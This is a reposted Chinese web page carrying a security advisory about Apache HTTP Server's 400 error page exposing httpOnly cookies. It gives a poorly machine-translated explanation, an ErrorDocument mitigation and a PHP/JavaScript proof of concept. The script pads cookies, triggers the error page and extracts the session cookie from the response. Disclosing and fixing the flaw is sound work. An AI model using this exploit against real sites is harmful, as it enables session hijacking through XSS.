TOP

Apache httpOnly Cookie Disclosure / Apache HTTP Server "httpOnly" Cookie 漏洞修复
2021-01-21 11:35:23   字体:【 】  浏览:51次   评论:0

说明

在我的五旬节期间,我注意到您可以通过java script,如果您的站点易受XSS影响,并且您正在使用Apache HTTP服务器。

这是可能的,因为apachehttp服务器发送一个“http400坏消息”请求“如果HTTP头值太长(超过服务器限制)。

在本例中,apache还包括头名称和头值在400错误页上。所以通过XSS可以设置一组大的cookies,激发XHR请求并读取响应,还包含仅HttpCookies

据我所知,只有通过以下配置指令才能缓解此问题:

ErrorDocument 400 "Your Error Page Content"

Proof of Concept PHP Script:
<?php
header("Set-Cookie: SESSIONID=ImAhttpOnlyCookie; path=/; httponly");
?>
<script type="text/java script">
var today = new Date();
var expire = new Date();
expire.setTime(today.getTime() + 2000);
gotCookie=false;
padding="";
for (j=0;j<=1000;++j) {
    padding+="A";
}
for (i=0;i < 10; ++i) {
    document.cookie="z"+i+"="+padding+"; expires="+expire.toGMTString()+"; path=/;"
}

function handler() {
    if (!gotCookie && this.responseText.length > 1) {
	text = /(SESSIONID=[^;]*)/i.exec(this.responseText);
	alert(text[1]);
	gotCookie=true;
    }
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = handler;
xhr.open("GET", "/httponly.php");
xhr.send();
</script>


Apache httpOnly Cookie Disclosure  / Apache HTTP Server "httpOnly" Cookie 漏洞修复


Tags:ApachehttpOnlyCookieDisclosure/ApacheHTTPServer" httpOnly" Cookie 漏洞 修复 责任编辑:room
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇apache 限制每个线程的速度 下一篇Apache 性能配置优化

  • 一些常见的状态码为:200 - 服务器成功返回网页 404 - 请求的网页不存在 503 - 服务不可用 详细分解:1xx(临时响应) 表示临时响应并需要请求者继续执行操作的状态代码。代码 说明 100 (继续) 请求者应当继续提出请求。服务器返回此代码表示已收到请求的第一部分,正在等待其余部分。 101 (切换..

  • 首先简单介绍一下,.htaccess文件是Apache服务器中的一个配置文件(Nginx服务器没有),它负责相关目录下的网页配置。通过对.htaccess文件进行设置,可以帮我们实现:网页301重定向、自定义400/403/404/500错误页面、改变文件扩展名、允许/阻止指定IP用户访问、禁止目录列表、配置默认文档等功能,可以说是功能非常强大,下面就给大家介绍一下最常用的几个功能的设置方法。设置网站错..

-->

发布者

room room
等级:普通会员
积分:0 个
性别:保密
romm@qq.com
65 身份还未认证 邮箱还未认证 手机还未认证 给它发送短消息 搜寻它在apache发布的全部文章 58

最新文章

网站服务地区

池州市网站建设
锡林郭勒盟网站建设
昌江黎族自治县网站建设
濮阳市网站建设
连江县网站建设
平凉市网站建设
甘孜藏族自治州网站建设
渝中区网站建设
廊坊市网站建设
嘉峪关市网站建设
宁德市网站建设
肇庆市网站建设
张家界市网站建设
澳门市大堂区网站建设
双桥区网站建设
湛江市网站建设
延庆县网站建设
昭通市网站建设
宜春市网站建设
沙田区网站建设
张家口市网站建设
怒江傈僳族自治州网站建设

本月热门

相关文章